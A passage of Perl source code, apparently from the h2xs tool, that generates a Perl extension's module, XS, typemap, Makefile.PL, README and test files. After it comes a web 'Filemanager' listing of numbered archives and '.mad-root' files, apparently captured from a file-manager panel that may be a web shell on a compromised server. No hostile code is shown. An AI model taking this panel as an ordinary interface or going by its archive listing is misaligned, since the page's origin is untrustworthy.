    # Now %bad_macs contains names of bad macros
    for my $k (keys %bad_macs) {
      delete $const_names{$prefixless{$k}};
      print "Ignoring macro $k which expands to a typedef name '$bad_macs{$k}'\n" if $opt_d;
    }
  }
}
my (@const_specs, @const_names);

for (sort(keys(%const_names))) {
    my $v = $const_names{$_};
    
    push(@const_specs, ref($v) ? $v : $_);
    push(@const_names, $_);
}

-d $modpmdir || mkpath([$modpmdir], 0, 0775);
open(PM, ">", "$modpmname") || die "Can't create $ext$modpname/$modpmname: $!\n";

$" = "\n\t";
warn "Writing $ext$modpname/$modpmname\n";

print PM <<"END";
package $module;

use $compat_version;
END

print PM <<"END" unless $skip_strict;
use strict;
END

print PM "use warnings;\n" unless $skip_warnings or $compat_version < 5.006;

unless( $opt_X || $opt_c || $opt_A ){
	# we'll have an AUTOLOAD(), and it will have $AUTOLOAD and
	# will want Carp.
	print PM <<'END';
use Carp;
END
}

print PM <<'END' unless $skip_exporter;

require Exporter;
END

my $use_Dyna = (not $opt_X and $compat_version < 5.006 and not $use_xsloader);
print PM <<"END" if $use_Dyna;  # use DynaLoader, unless XS was disabled
require DynaLoader;
END


# Are we using AutoLoader or not?
unless ($skip_autoloader) { # no autoloader whatsoever.
	unless ($opt_c) { # we're doing the AUTOLOAD
		print PM "use AutoLoader;\n";
	}
	else {
		print PM "use AutoLoader qw(AUTOLOAD);\n"
	}
}

if ( $compat_version < 5.006 ) {
    my $vars = '$VERSION @ISA';
    $vars .= ' @EXPORT @EXPORT_OK %EXPORT_TAGS' unless $skip_exporter;
    $vars .= ' $AUTOLOAD' unless $opt_X || $opt_c || $opt_A;
    $vars .= ' $XS_VERSION' if $opt_B && !$opt_X;
    print PM "use vars qw($vars);";
}

# Determine @ISA.
my @modISA;
push @modISA, 'Exporter'	unless $skip_exporter;
push @modISA, 'DynaLoader' 	if $use_Dyna;  # no XS
my $myISA = "our \@ISA = qw(@modISA);";
$myISA =~ s/^our // if $compat_version < 5.006;

print PM "\n$myISA\n\n";

my @exported_names = (@const_names, @fnames_no_prefix, map '$'.$_, @vdecls);

my $tmp='';
$tmp .= <<"END" unless $skip_exporter;
# Items to export into callers namespace by default. Note: do not export
# names by default without a very good reason. Use EXPORT_OK instead.
# Do not simply export all your public functions/methods/constants.

# This allows declaration	use $module ':all';
# If you do not need this, moving things directly into \@EXPORT or \@EXPORT_OK
# will save memory.
our %EXPORT_TAGS = ( 'all' => [ qw(
	@exported_names
) ] );

our \@EXPORT_OK = ( \@{ \$EXPORT_TAGS{'all'} } );

our \@EXPORT = qw(
	@const_names
);

END

$tmp .= "our \$VERSION = '$TEMPLATE_VERSION';\n";
if ($opt_B) {
    $tmp .= "our \$XS_VERSION = \$VERSION;\n" unless $opt_X;
    $tmp .= "\$VERSION = eval \$VERSION;  # see L<perlmodstyle>\n";
}
$tmp .= "\n";

$tmp =~ s/^our //mg if $compat_version < 5.006;
print PM $tmp;

if (@vdecls) {
    printf PM "our(@{[ join ', ', map '$'.$_, @vdecls ]});\n\n";
}


print PM autoload ($module, $compat_version) unless $opt_c or $opt_X;

if( ! $opt_X ){ # print bootstrap, unless XS is disabled
  if ($use_Dyna) {
	$tmp = <<"END";
bootstrap $module \$VERSION;
END
  } else {
	$tmp = <<"END";
require XSLoader;
XSLoader::load('$module', \$VERSION);
END
  }
  $tmp =~ s:\$VERSION:\$XS_VERSION:g if $opt_B;
  print PM $tmp;
}

# tying the variables can happen only after bootstrap
if (@vdecls) {
    printf PM <<END;
{
@{[ join "\n", map "    _tievar_$_(\$$_);", @vdecls ]}
}

END
}

my $after;
if( $opt_P ){ # if POD is disabled
	$after = '__END__';
}
else {
	$after = '=cut';
}

print PM <<"END";

# Preloaded methods go here.
END

print PM <<"END" unless $opt_A;

# Autoload methods go after $after, and are processed by the autosplit program.
END

print PM <<"END";

1;
__END__
END

my ($email,$author,$licence);

eval {
       my $username;
       ($username,$author) = (getpwuid($>))[0,6];
       if (defined $username && defined $author) {
	   $author =~ s/,.*$//; # in case of sub fields
	   my $domain = $Config{'mydomain'};
	   $domain =~ s/^\.//;
	   $email = "$username\@$domain";
       }
     };

$author =~ s/'/\\'/g if defined $author;
$author ||= "A. U. Thor";
$email  ||= 'a.u.thor@a.galaxy.far.far.away';

$licence = sprintf << "DEFAULT", $^V;
Copyright (C) ${\(1900 + (localtime) [5])} by $author

This library is free software; you can redistribute it and/or modify
it under the same terms as Perl itself, either Perl version %vd or,
at your option, any later version of Perl 5 you may have available.
DEFAULT

my $revhist = '';
$revhist = <<EOT if $opt_C;
#
#=head1 HISTORY
#
#=over 8
#
#=item $TEMPLATE_VERSION
#
#Original version; created by h2xs $H2XS_VERSION with options
#
#  @ARGS
#
#=back
#
EOT

my $exp_doc = $skip_exporter ? '' : <<EOD;
#
#=head2 EXPORT
#
#None by default.
#
EOD

if (@const_names and not $opt_P) {
  $exp_doc .= <<EOD unless $skip_exporter;
#=head2 Exportable constants
#
#  @{[join "\n  ", @const_names]}
#
EOD
}

if (defined $fdecls and @$fdecls and not $opt_P) {
  $exp_doc .= <<EOD unless $skip_exporter;
#=head2 Exportable functions
#
EOD

#  $exp_doc .= <<EOD if $opt_p;
#When accessing these functions from Perl, prefix C<$opt_p> should be removed.
#
#EOD
  $exp_doc .= <<EOD unless $skip_exporter;
#  @{[join "\n  ", @known_fnames{@fnames}]}
#
EOD
}

my $meth_doc = '';

if ($opt_x && $opt_a) {
  my($name, $struct);
  $meth_doc .= accessor_docs($name, $struct)
    while ($name, $struct) = each %structs;
}

# Prefix the default licence with hash symbols.
# Is this just cargo cult - it seems that the first thing that happens to this
# block is that all the hashes are then s///g out.
my $licence_hash = $licence;
$licence_hash =~ s/^/#/gm;

my $pod;
$pod = <<"END" unless $opt_P;
## Below is stub documentation for your module. You'd better edit it!
#
#=head1 NAME
#
#$module - Perl extension for blah blah blah
#
#=head1 SYNOPSIS
#
#  use $module;
#  blah blah blah
#
#=head1 DESCRIPTION
#
#Stub documentation for $module, created by h2xs. It looks like the
#author of the extension was negligent enough to leave the stub
#unedited.
#
#Blah blah blah.
$exp_doc$meth_doc$revhist
#
#=head1 SEE ALSO
#
#Mention other useful documentation such as the documentation of
#related modules or operating system documentation (such as man pages
#in UNIX), or any relevant external documentation such as RFCs or
#standards.
#
#If you have a mailing list set up for your module, mention it here.
#
#If you have a web site set up for your module, mention it here.
#
#=head1 AUTHOR
#
#$author, E<lt>${email}E<gt>
#
#=head1 COPYRIGHT AND LICENSE
#
$licence_hash
#
#=cut
END

$pod =~ s/^\#//gm unless $opt_P;
print PM $pod unless $opt_P;

close PM;


if( ! $opt_X ){ # print XS, unless it is disabled
warn "Writing $ext$modpname/$modfname.xs\n";

print XS <<"END";
#define PERL_NO_GET_CONTEXT
#include "EXTERN.h"
#include "perl.h"
#include "XSUB.h"

END

print XS <<"END" unless $skip_ppport;
#include "ppport.h"

END

if( @path_h ){
    foreach my $path_h (@path_h_ini) {
	my($h) = $path_h;
	$h =~ s#^/usr/include/##;
	if ($^O eq 'VMS') { $h =~ s#.*vms\]#sys/# or $h =~ s#.*[:>\]]##; }
        print XS qq{#include <$h>\n};
    }
    print XS "\n";
}

print XS <<"END" if $opt_g;

/* Global Data */

#define MY_CXT_KEY "${module}::_guts" XS_VERSION

typedef struct {
    /* Put Global Data in here */
    int dummy;		/* you can access this elsewhere as MY_CXT.dummy */
} my_cxt_t;

START_MY_CXT

END

my %pointer_typedefs;
my %struct_typedefs;

sub td_is_pointer {
  my $type = shift;
  my $out = $pointer_typedefs{$type};
  return $out if defined $out;
  my $otype = $type;
  $out = ($type =~ /\*$/);
  # This converts only the guys which do not have trailing part in the typedef
  if (not $out
      and $typedef_rex and $type =~ s/($typedef_rex)/$typedefs_pre{$1}/go) {
    $type = normalize_type($type);
    print "Is-Pointer: Type mutation via typedefs: $otype ==> $type\n"
      if $opt_d;
    $out = td_is_pointer($type);
  }
  return ($pointer_typedefs{$otype} = $out);
}

sub td_is_struct {
  my $type = shift;
  my $out = $struct_typedefs{$type};
  return $out if defined $out;
  my $otype = $type;
  $out = ($type =~ /^(struct|union)\b/) && !td_is_pointer($type);
  # This converts only the guys which do not have trailing part in the typedef
  if (not $out
      and $typedef_rex and $type =~ s/($typedef_rex)/$typedefs_pre{$1}/go) {
    $type = normalize_type($type);
    print "Is-Struct: Type mutation via typedefs: $otype ==> $type\n"
      if $opt_d;
    $out = td_is_struct($type);
  }
  return ($struct_typedefs{$otype} = $out);
}

print_tievar_subs(\*XS, $_, $vdecl_hash{$_}) for @vdecls;

if( ! $opt_c ) {
  # We write the "sample" files used when this module is built by perl without
  # ExtUtils::Constant.
  # h2xs will later check that these are the same as those generated by the
  # code embedded into Makefile.PL
  unless (-d $fallbackdirname) {
    mkdir "$fallbackdirname" or die "Cannot mkdir $fallbackdirname: $!\n";
  }
  warn "Writing $ext$modpname/$fallbackdirname/$constscfname\n";
  warn "Writing $ext$modpname/$fallbackdirname/$constsxsfname\n";
  my $cfallback = File::Spec->catfile($fallbackdirname, $constscfname);
  my $xsfallback = File::Spec->catfile($fallbackdirname, $constsxsfname);
  WriteConstants ( C_FILE =>       $cfallback,
                   XS_FILE =>      $xsfallback,
                   DEFAULT_TYPE => $opt_t,
                   NAME =>         $module,
                   NAMES =>        \@const_specs,
                 );
  print XS "#include \"$constscfname\"\n";
}


my $prefix = defined $opt_p ? "PREFIX = $opt_p" : '';

# Now switch from C to XS by issuing the first MODULE declaration:
print XS <<"END";

MODULE = $module		PACKAGE = $module		$prefix

END

# If a constant() function was #included then output a corresponding
# XS declaration:
print XS "INCLUDE: $constsxsfname\n" unless $opt_c;

print XS <<"END" if $opt_g;

BOOT:
{
    MY_CXT_INIT;
    /* If any of the fields in the my_cxt_t struct need
       to be initialised, do it here.
     */
}

END

foreach (sort keys %const_xsub) {
    print XS <<"END";
char *
$_()

    CODE:
#ifdef $_
	RETVAL = $_;
#else
	croak("Your vendor has not defined the $module macro $_");
#endif

    OUTPUT:
	RETVAL

END
}

my %seen_decl;
my %typemap;

sub print_decl {
  my $fh = shift;
  my $decl = shift;
  my ($type, $name, $args) = @$decl;
  return if $seen_decl{$name}++; # Need to do the same for docs as well?

  my @argnames = map {$_->[1]} @$args;
  my @argtypes = map { normalize_type( $_->[0], 1 ) } @$args;
  if ($opt_k) {
    s/^\s*const\b\s*// for @argtypes;
  }
  my @argarrays = map { $_->[4] || '' } @$args;
  my $numargs = @$args;
  if ($numargs and $argtypes[-1] eq '...') {
    $numargs--;
    $argnames[-1] = '...';
  }
  local $" = ', ';
  $type = normalize_type($type, 1);

  print $fh <<"EOP";

$type
$name(@argnames)
EOP

  for my $arg (0 .. $numargs - 1) {
    print $fh <<"EOP";
	$argtypes[$arg]	$argnames[$arg]$argarrays[$arg]
EOP
  }
}

sub print_tievar_subs {
  my($fh, $name, $type) = @_;
  print $fh <<END;
I32
_get_$name(IV index, SV *sv) {
    dSP;
    PUSHMARK(SP);
    XPUSHs(sv);
    PUTBACK;
    (void)call_pv("$module\::_get_$name", G_DISCARD);
    return (I32)0;
}

I32
_set_$name(IV index, SV *sv) {
    dSP;
    PUSHMARK(SP);
    XPUSHs(sv);
    PUTBACK;
    (void)call_pv("$module\::_set_$name", G_DISCARD);
    return (I32)0;
}

END
}

sub print_tievar_xsubs {
  my($fh, $name, $type) = @_;
  print $fh <<END;
void
_tievar_$name(sv)
	SV* sv
    PREINIT:
	struct ufuncs uf;
    CODE:
	uf.uf_val = &_get_$name;
	uf.uf_set = &_set_$name;
	uf.uf_index = (IV)&_get_$name;
	sv_magic(sv, 0, 'U', (char*)&uf, sizeof(uf));

void
_get_$name(THIS)
	$type THIS = NO_INIT
    CODE:
	THIS = $name;
    OUTPUT:
	SETMAGIC: DISABLE
	THIS

void
_set_$name(THIS)
	$type THIS
    CODE:
	$name = THIS;

END
}

sub print_accessors {
  my($fh, $name, $struct) = @_;
  return unless defined $struct && $name !~ /\s|_ANON/;
  $name = normalize_type($name);
  my $ptrname = normalize_type("$name *");
  print $fh <<"EOF";

MODULE = $module		PACKAGE = ${name}		$prefix

$name *
_to_ptr(THIS)
	$name THIS = NO_INIT
    PROTOTYPE: \$
    CODE:
	if (sv_derived_from(ST(0), "$name")) {
	    STRLEN len;
	    char *s = SvPV((SV*)SvRV(ST(0)), len);
	    if (len != sizeof(THIS))
		croak("Size \%d of packed data != expected \%d",
			len, sizeof(THIS));
	    RETVAL = ($name *)s;
	}
	else
	    croak("THIS is not of type $name");
    OUTPUT:
	RETVAL

$name
new(CLASS)
	char *CLASS = NO_INIT
    PROTOTYPE: \$
    CODE:
	Zero((void*)&RETVAL, sizeof(RETVAL), char);
    OUTPUT:
	RETVAL

MODULE = $module		PACKAGE = ${name}Ptr		$prefix

EOF
  my @items = @$struct;
  while (@items) {
    my $item = shift @items;
    if ($item->[0] =~ /_ANON/) {
      if (defined $item->[2]) {
	push @items, map [
	  @$_[0, 1], "$item->[2]_$_->[2]", "$item->[2].$_->[2]",
	], @{ $structs{$item->[0]} };
      } else {
	push @items, @{ $structs{$item->[0]} };
      }
    } else {
      my $type = normalize_type($item->[0]);
      my $ttype = $structs{$type} ? normalize_type("$type *") : $type;
      print $fh <<"EOF";
$ttype
$item->[2](THIS, __value = NO_INIT)
	$ptrname THIS
	$type __value
    PROTOTYPE: \$;\$
    CODE:
	if (items > 1)
	    THIS->$item->[-1] = __value;
	RETVAL = @{[
	    $type eq $ttype ? "THIS->$item->[-1]" : "&(THIS->$item->[-1])"
	]};
    OUTPUT:
	RETVAL

EOF
    }
  }
}

sub accessor_docs {
  my($name, $struct) = @_;
  return unless defined $struct && $name !~ /\s|_ANON/;
  $name = normalize_type($name);
  my $ptrname = $name . 'Ptr';
  my @items = @$struct;
  my @list;
  while (@items) {
    my $item = shift @items;
    if ($item->[0] =~ /_ANON/) {
      if (defined $item->[2]) {
	push @items, map [
	  @$_[0, 1], "$item->[2]_$_->[2]", "$item->[2].$_->[2]",
	], @{ $structs{$item->[0]} };
      } else {
	push @items, @{ $structs{$item->[0]} };
      }
    } else {
      push @list, $item->[2];
    }
  }
  my $methods = (join '(...)>, C<', @list) . '(...)';

  my $pod = <<"EOF";
#
#=head2 Object and class methods for C<$name>/C<$ptrname>
#
#The principal Perl representation of a C object of type C<$name> is an
#object of class C<$ptrname> which is a reference to an integer
#representation of a C pointer.  To create such an object, one may use
#a combination
#
#  my \$buffer = $name->new();
#  my \$obj = \$buffer->_to_ptr();
#
#This exercises the following two methods, and an additional class
#C<$name>, the internal representation of which is a reference to a
#packed string with the C structure.  Keep in mind that \$buffer should
#better survive longer than \$obj.
#
#=over
#
#=item C<\$object_of_type_$name-E<gt>_to_ptr()>
#
#Converts an object of type C<$name> to an object of type C<$ptrname>.
#
#=item C<$name-E<gt>new()>
#
#Creates an empty object of type C<$name>.  The corresponding packed
#string is zeroed out.
#
#=item C<$methods>
#
#return the current value of the corresponding element if called
#without additional arguments.  Set the element to the supplied value
#(and return the new value) if called with an additional argument.
#
#Applicable to objects of type C<$ptrname>.
#
#=back
#
EOF
  $pod =~ s/^\#//gm;
  return $pod;
}

# Should be called before any actual call to normalize_type().
sub get_typemap {
  # We do not want to read ./typemap by obvios reasons.
  my @tm =  qw(../../../typemap ../../typemap ../typemap);
  my $stdtypemap =  "$Config::Config{privlib}/ExtUtils/typemap";
  unshift @tm, $stdtypemap;
  my $proto_re = "[" . quotemeta('\$%&*@;') . "]" ;

  # Start with useful default values
  $typemap{float} = 'T_NV';

  foreach my $typemap (@tm) {
    next unless -e $typemap ;
    # skip directories, binary files etc.
    warn " Scanning $typemap\n";
    warn("Warning: ignoring non-text typemap file '$typemap'\n"), next
      unless -T $typemap ;
    open(TYPEMAP, "<", $typemap)
      or warn ("Warning: could not open typemap file '$typemap': $!\n"), next;
    my $mode = 'Typemap';
    while (<TYPEMAP>) {
      next if /^\s*\#/;
      if (/^INPUT\s*$/)   { $mode = 'Input'; next; }
      elsif (/^OUTPUT\s*$/)  { $mode = 'Output'; next; }
      elsif (/^TYPEMAP\s*$/) { $mode = 'Typemap'; next; }
      elsif ($mode eq 'Typemap') {
	next if /^\s*($|\#)/ ;
	my ($type, $image);
	if ( ($type, $image) =
	     /^\s*(.*?\S)\s+(\S+)\s*($proto_re*)\s*$/o
	     # This may reference undefined functions:
	     and not ($image eq 'T_PACKED' and $typemap eq $stdtypemap)) {
	  $typemap{normalize_type($type)} = $image;
	}
      }
    }
    close(TYPEMAP) or die "Cannot close $typemap: $!";
  }
  %std_types = %types_seen;
  %types_seen = ();
}


sub normalize_type {		# Second arg: do not strip const's before \*
  my $type = shift;
  my $do_keep_deep_const = shift;
  # If $do_keep_deep_const this is heuristic only
  my $keep_deep_const = ($do_keep_deep_const ? '\b(?![^(,)]*\*)' : '');
  my $ignore_mods
    = "(?:\\b(?:(?:__const__|const)$keep_deep_const|static|inline|__inline__)\\b\\s*)*";
  if ($do_keep_deep_const) {	# Keep different compiled /RExen/o separately!
    $type =~ s/$ignore_mods//go;
  }
  else {
    $type =~ s/$ignore_mods//go;
  }
  $type =~ s/([^\s\w])/ $1 /g;
  $type =~ s/\s+$//;
  $type =~ s/^\s+//;
  $type =~ s/\s+/ /g;
  $type =~ s/\* (?=\*)/*/g;
  $type =~ s/\. \. \./.../g;
  $type =~ s/ ,/,/g;
  $types_seen{$type}++
    unless $type eq '...' or $type eq 'void' or $std_types{$type};
  $type;
}

my $need_opaque;

sub assign_typemap_entry {
  my $type = shift;
  my $otype = $type;
  my $entry;
  if ($tmask and $type =~ /$tmask/) {
    print "Type $type matches -o mask\n" if $opt_d;
    $entry = (td_is_struct($type) ? "T_OPAQUE_STRUCT" : "T_PTROBJ");
  }
  elsif ($typedef_rex and $type =~ s/($typedef_rex)/$typedefs_pre{$1}/go) {
    $type = normalize_type $type;
    print "Type mutation via typedefs: $otype ==> $type\n" if $opt_d;
    $entry = assign_typemap_entry($type);
  }
  # XXX good do better if our UV happens to be long long
  return "T_NV" if $type =~ /^(unsigned\s+)?long\s+(long|double)\z/;
  $entry ||= $typemap{$otype}
    || (td_is_struct($type) ? "T_OPAQUE_STRUCT" : "T_PTROBJ");
  $typemap{$otype} = $entry;
  $need_opaque = 1 if $entry eq "T_OPAQUE_STRUCT";
  return $entry;
}

for (@vdecls) {
  print_tievar_xsubs(\*XS, $_, $vdecl_hash{$_});
}

if ($opt_x) {
  for my $decl (@$fdecls_parsed) { print_decl(\*XS, $decl) }
  if ($opt_a) {
    while (my($name, $struct) = each %structs) {
      print_accessors(\*XS, $name, $struct);
    }
  }
}

close XS;

if (%types_seen) {
  my $type;
  warn "Writing $ext$modpname/typemap\n";
  open TM, ">", "typemap" or die "Cannot open typemap file for write: $!";

  for $type (sort keys %types_seen) {
    my $entry = assign_typemap_entry $type;
    print TM $type, "\t" x (5 - int((length $type)/8)), "\t$entry\n"
  }

  print TM <<'EOP' if $need_opaque; # Older Perls do not have correct entry
#############################################################################
INPUT
T_OPAQUE_STRUCT
	if (sv_derived_from($arg, \"${ntype}\")) {
	    STRLEN len;
	    char  *s = SvPV((SV*)SvRV($arg), len);

	    if (len != sizeof($var))
		croak(\"Size %d of packed data != expected %d\",
			len, sizeof($var));
	    $var = *($type *)s;
	}
	else
	    croak(\"$var is not of type ${ntype}\")
#############################################################################
OUTPUT
T_OPAQUE_STRUCT
	sv_setref_pvn($arg, \"${ntype}\", (char *)&$var, sizeof($var));
EOP

  close TM or die "Cannot close typemap file for write: $!";
}

} # if( ! $opt_X )

warn "Writing $ext$modpname/Makefile.PL\n";
open(PL, ">", "Makefile.PL") || die "Can't create $ext$modpname/Makefile.PL: $!\n";

my $prereq_pm = '';

if ( $compat_version < 5.006002 and $new_test )
{
  $prereq_pm .= q%'Test::More'  =>  0, %;
}
elsif ( $compat_version < 5.006002 )
{
  $prereq_pm .= q%'Test'        =>  0, %;
}

if (!$opt_X and $use_xsloader)
{
  $prereq_pm .= q%'XSLoader'    =>  0, %;
}

print PL <<"END";
use $compat_version;
use ExtUtils::MakeMaker;
# See lib/ExtUtils/MakeMaker.pm for details of how to influence
# the contents of the Makefile that is written.
WriteMakefile(
    NAME              => '$module',
    VERSION_FROM      => '$modpmname', # finds \$VERSION, requires EU::MM from perl >= 5.5
    PREREQ_PM         => {$prereq_pm}, # e.g., Module::Name => 1.1
    ABSTRACT_FROM     => '$modpmname', # retrieve abstract from module
    AUTHOR            => '$author <$email>',
    #LICENSE           => 'perl',
    #Value must be from legacy list of licenses here
    #https://metacpan.org/pod/Module::Build::API
END
if (!$opt_X) { # print C stuff, unless XS is disabled
  $opt_F = '' unless defined $opt_F;
  my $I = (((glob '*.h') || (glob '*.hh')) ? '-I.' : '');
  my $Ihelp = ($I ? '-I. ' : '');
  my $Icomment = ($I ? '' : <<EOC);
	# Insert -I. if you add *.h files later:
EOC

  print PL <<END;
    LIBS              => ['$extralibs'], # e.g., '-lm'
    DEFINE            => '$opt_F', # e.g., '-DHAVE_SOMETHING'
$Icomment    INC               => '$I', # e.g., '${Ihelp}-I/usr/include/other'
END

  my $C = grep {$_ ne "$modfname.c"}
    (glob '*.c'), (glob '*.cc'), (glob '*.C');
  my $Cpre = ($C ? '' : '# ');
  my $Ccomment = ($C ? '' : <<EOC);
	# Un-comment this if you add C files to link with later:
EOC

  print PL <<END;
$Ccomment    ${Cpre}OBJECT            => '\$(O_FILES)', # link all the C files too
END
} # ' # Grr
print PL ");\n";
if (!$opt_c) {
  my $generate_code =
    WriteMakefileSnippet ( C_FILE =>       $constscfname,
                           XS_FILE =>      $constsxsfname,
                           DEFAULT_TYPE => $opt_t,
                           NAME =>         $module,
                           NAMES =>        \@const_specs,
                 );
  print PL <<"END";
if  (eval {require ExtUtils::Constant; 1}) {
  # If you edit these definitions to change the constants used by this module,
  # you will need to use the generated $constscfname and $constsxsfname
  # files to replace their "fallback" counterparts before distributing your
  # changes.
$generate_code
}
else {
  use File::Copy;
  use File::Spec;
  foreach my \$file ('$constscfname', '$constsxsfname') {
    my \$fallback = File::Spec->catfile('$fallbackdirname', \$file);
    copy (\$fallback, \$file) or die "Can't copy \$fallback to \$file: \$!";
  }
}
END

  eval $generate_code;
  if ($@) {
    warn <<"EOM";
Attempting to test constant code in $ext$modpname/Makefile.PL:
$generate_code
__END__
gave unexpected error $@
Please report the circumstances of this bug in h2xs version $H2XS_VERSION
using the issue tracker at https://github.com/Perl/perl5/issues.
EOM
  } else {
    my $fail;

    foreach my $file ($constscfname, $constsxsfname) {
      my $fallback = File::Spec->catfile($fallbackdirname, $file);
      if (compare($file, $fallback)) {
        warn << "EOM";
Files "$ext$modpname/$fallbackdirname/$file" and "$ext$modpname/$file" differ.
EOM
        $fail++;
      }
    }
    if ($fail) {
      warn fill ('','', <<"EOM") . "\n";
It appears that the code in $ext$modpname/Makefile.PL does not autogenerate
the files $ext$modpname/$constscfname and $ext$modpname/$constsxsfname
correctly.

Please report the circumstances of this bug in h2xs version $H2XS_VERSION
using the issue tracker at https://github.com/Perl/perl5/issues.
EOM
    } else {
      unlink $constscfname, $constsxsfname;
    }
  }
}
close(PL) || die "Can't close $ext$modpname/Makefile.PL: $!\n";

# Create a simple README since this is a CPAN requirement
# and it doesn't hurt to have one
warn "Writing $ext$modpname/README\n";
open(RM, ">", "README") || die "Can't create $ext$modpname/README:$!\n";
my $thisyear = (gmtime)[5] + 1900;
my $rmhead = "$modpname version $TEMPLATE_VERSION";
my $rmheadeq = "=" x length($rmhead);

my $rm_prereq;

if ( $compat_version < 5.006002 and $new_test )
{
  $rm_prereq = 'Test::More';
}
elsif ( $compat_version < 5.006002 )
{
  $rm_prereq = 'Test';
}
else
{
  $rm_prereq = 'blah blah blah';
}

print RM <<_RMEND_;
$rmhead
$rmheadeq

The README is used to introduce the module and provide instructions on
how to install the module, any machine dependencies it may have (for
example C compilers and installed libraries) and any other information
that should be provided before the module is installed.

A README file is required for CPAN modules since CPAN extracts the
README file from a module distribution so that people browsing the
archive can use it get an idea of the modules uses. It is usually a
good idea to provide version information here so that people can
decide whether fixes for the module are worth downloading.

INSTALLATION

To install this module type the following:

   perl Makefile.PL
   make
   make test
   make install

DEPENDENCIES

This module requires these other modules and libraries:

  $rm_prereq

COPYRIGHT AND LICENCE

Put the correct copyright and licence information here.

$licence

_RMEND_
close(RM) || die "Can't close $ext$modpname/README: $!\n";

my $testdir  = "t";
my $testfile = "$testdir/$modpname.t";
unless (-d "$testdir") {
  mkdir "$testdir" or die "Cannot mkdir $testdir: $!\n";
}
warn "Writing $ext$modpname/$testfile\n";
my $tests = @const_names ? 2 : 1;

open EX, ">", "$testfile" or die "Can't create $ext$modpname/$testfile: $!\n";

print EX <<_END_;
# Before 'make install' is performed this script should be runnable with
# 'make test'. After 'make install' it should work as 'perl $modpname.t'

#########################

# change 'tests => $tests' to 'tests => last_test_to_print';

use strict;
use warnings;

_END_

my $test_mod = 'Test::More';

if ( $old_test or ($compat_version < 5.006002 and not $new_test ))
{
  my $test_mod = 'Test';

  print EX <<_END_;
use Test;
BEGIN { plan tests => $tests };
use $module;
ok(1); # If we made it this far, we're ok.

_END_

   if (@const_names) {
     my $const_names = join " ", @const_names;
     print EX <<'_END_';

my $fail;
foreach my $constname (qw(
_END_

     print EX wrap ("\t", "\t", $const_names);
     print EX (")) {\n");

     print EX <<_END_;
  next if (eval "my \\\$a = \$constname; 1");
  if (\$\@ =~ /^Your vendor has not defined $module macro \$constname/) {
    print "# pass: \$\@";
  } else {
    print "# fail: \$\@";
    \$fail = 1;
  }
}
if (\$fail) {
  print "not ok 2\\n";
} else {
  print "ok 2\\n";
}

_END_
  }
}
else
{
  print EX <<_END_;
use Test::More tests => $tests;
BEGIN { use_ok('$module') };

_END_

   if (@const_names) {
     my $const_names = join " ", @const_names;
     print EX <<'_END_';

my $fail = 0;
foreach my $constname (qw(
_END_

     print EX wrap ("\t", "\t", $const_names);
     print EX (")) {\n");

     print EX <<_END_;
  next if (eval "my \\\$a = \$constname; 1");
  if (\$\@ =~ /^Your vendor has not defined $module macro \$constname/) {
    print "# pass: \$\@";
  } else {
    print "# fail: \$\@";
    \$fail = 1;
  }

}

ok( \$fail == 0 , 'Constants' );
_END_
  }
}

print EX <<_END_;
#########################

# Insert your test code below, the $test_mod module is use()ed here so read
# its man page ( perldoc $test_mod ) for help writing this test script.

_END_

close(EX) || die "Can't close $ext$modpname/$testfile: $!\n";

unless ($opt_C) {
  warn "Writing $ext$modpname/Changes\n";
  $" = ' ';
  open(EX, ">", "Changes") || die "Can't create $ext$modpname/Changes: $!\n";
  @ARGS = map {/[\s\"\'\`\$*?^|&<>\[\]\{\}\(\)]/ ? "'$_'" : $_} @ARGS;
  print EX <<EOP;
Revision history for Perl extension $module.

$TEMPLATE_VERSION  @{[scalar localtime]}
\t- original version; created by h2xs $H2XS_VERSION with options
\t\t@ARGS

EOP
  close(EX) || die "Can't close $ext$modpname/Changes: $!\n";
}

warn "Writing $ext$modpname/MANIFEST\n";
open(MANI, '>', 'MANIFEST') or die "Can't create MANIFEST: $!";
my @files = grep { -f } (<*>, <t/*>, <$fallbackdirname/*>, <$modpmdir/*>);
if (!@files) {
  eval {opendir(D,'.');};
  unless ($@) { @files = readdir(D); closedir(D); }
}
if (!@files) { @files = map {chomp && $_} `ls`; }
if ($^O eq 'VMS') {
  foreach (@files) {
    # Clip trailing '.' for portability -- non-VMS OSs don't expect it
    s%\.$%%;
    # Fix up for case-sensitive file systems
    s/$modfname/$modfname/i && next;
    $_ = "\U$_" if $_ eq 'manifest' or $_ eq 'changes';
    $_ = 'Makefile.PL' if $_ eq 'makefile.pl';
  }
}
print MANI join("\n",@files), "\n";
close MANI;

Filemanager

Name Type Size Permission Actions
.mad-root.mad-root.tar.gz File 117 B 0644
.mad-root.tar File 1.5 KB 0644
100.zip File 276.54 KB 0644
106.tar File 639.5 KB 0644
106.tar.gz File 633.91 KB 0644
113.tar File 379.5 KB 0644
113.tar.gz File 358.84 KB 0644
118.tar File 318.5 KB 0644
118.tar.gz File 309.97 KB 0644
131.tar File 34 KB 0644
131.tar.gz File 20.44 KB 0644
139.tar File 22.5 KB 0644
139.tar.gz File 785 B 0644
14.tar File 687 KB 0644
14.tar.gz File 677.2 KB 0644
141.zip File 59.49 KB 0644
147.tar File 124 KB 0644
147.tar.gz File 56.14 KB 0644
158.zip File 110.15 KB 0644
162.tar File 80.5 KB 0644
162.tar.gz File 74.92 KB 0644
173.tar File 265.5 KB 0644
173.tar.gz File 238.97 KB 0644
178.tar File 2.67 MB 0644
178.tar.gz File 2.65 MB 0644
182.tar File 34 KB 0644
182.tar.gz File 20.44 KB 0644
184.tar File 35 KB 0644
184.tar.gz File 20.81 KB 0644
200.zip File 218.21 KB 0644
207.tar File 1.24 MB 0644
207.tar.gz File 1.22 MB 0644
21.tar File 2 KB 0644
21.tar.gz File 193 B 0644
230.tar File 453 KB 0644
230.tar.gz File 446.33 KB 0644
241.tar File 218 KB 0644
241.tar.gz File 211.42 KB 0644
258.tar File 237 KB 0644
258.tar.gz File 181.87 KB 0644
258.zip File 235.62 KB 0644
268.zip File 504.54 KB 0644
306.tar File 126 KB 0644
306.tar.gz File 119.46 KB 0644
31.tar File 163 KB 0644
31.tar.gz File 156.47 KB 0644
33.tar File 21 KB 0644
33.tar.gz File 9.77 KB 0644
332.tar File 85.5 KB 0644
332.tar.gz File 42.15 KB 0644
334.zip File 99.68 KB 0644
341.tar File 107.5 KB 0644
341.tar.gz File 99.22 KB 0644
351.zip File 89.48 KB 0644
356.tar File 97.5 KB 0644
356.tar.gz File 88.44 KB 0644
358.tar File 2.29 MB 0644
358.tar.gz File 2.28 MB 0644
364.tar File 118 KB 0644
364.tar.gz File 78.92 KB 0644
366.tar File 615.5 KB 0644
